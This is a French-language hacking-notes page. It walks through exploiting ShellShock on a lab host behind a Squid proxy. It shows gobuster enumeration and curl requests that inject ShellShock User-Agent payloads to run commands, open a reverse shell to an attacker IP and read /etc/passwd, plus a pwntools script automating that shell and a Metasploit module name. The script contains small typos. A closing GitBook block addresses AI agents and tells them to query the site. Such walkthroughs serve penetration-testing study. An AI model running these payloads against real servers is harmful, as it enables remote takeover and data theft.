> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).

# Statut ShellShock

Avec l’outil **GoBuster**, nous recherchons les chemins du système

```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash

```

Dans ce cas, il trouve le chemin **/cgi-bin/**, qui peut être vulnérable à une attaque ShellShock :

<figure><img src="/files/9c551aa60dcb34bf15b143d929049d97d3e42c32" alt=""><figcaption></figcaption></figure>

Maintenant, dans ce même chemin, nous recherchons des fichiers avec des extensions **sh, pl cgi**, etc.

```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi

```

<figure><img src="/files/c754b9e1d6abebaf3622c900532a733f676ef74e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f222359ef057f67ee76ff2c6bdad1a731bec689d" alt=""><figcaption></figcaption></figure>

## ShellShock :

Avec curl, si nous envoyons une requête, nous voyons que c’est la **même commande que uptime**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128

```

<figure><img src="/files/e1e28edf1e33bce1ff8d57b8cb9f00ffc3aa056f" alt=""><figcaption></figcaption></figure>

Avec curl, utilisez la **ShellShock** vulnérabilité pour exécuter des commandes. Définissez toujours le **chemin absolu**:

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

<figure><img src="/files/bf2875a5262bc9cecd5ad1adf08a32eacf8d912d" alt=""><figcaption></figcaption></figure>

Pour **obtenir l’accès** à la machine, nous exécutons la commande ci-dessous :

```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"

```

<figure><img src="/files/5f3e58577e209560e516a4d8a6d7bf31d262157c" alt=""><figcaption></figcaption></figure>

## Script Python automatisé :

```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# État de ShellShock
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
    headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
    r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
    try:
        threading.Thread(target=shellshock_attack).start()
    except Exceptiwe as e:
        log.error(str(e))
    shell = listen(lport, timeout=20).wait_for_login()
    if shell.sock is None:
        log.failure("Échec de l’établissement de la connexion")
        sys.exit(1)
    else:
        shell.interactive()

```

<figure><img src="/files/1916e72f1cc50b52e2d61f5f3c7130aafa63905a" alt=""><figcaption></figcaption></figure>

## Exploitation avec Burp Suite

Dans Burp Suite, nous pouvons injecter le payload ShellShock dans l’en-tête **User-Agent** pour tenter d’exécuter des commandes sur le serveur cible :

```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'

```

Si la vulnérabilité est présente, le serveur renvoie le contenu du fichier `/etc/passwd`, à condition que l’exécution de commandes soit possible.

## Exploitation avec Metasploit

Metasploit fournit un exploit dédié à cette vulnérabilité : chargez le module ShellShock :

```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec

```

Si l’exploit réussit, un shell est obtenu sur la machine cible.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
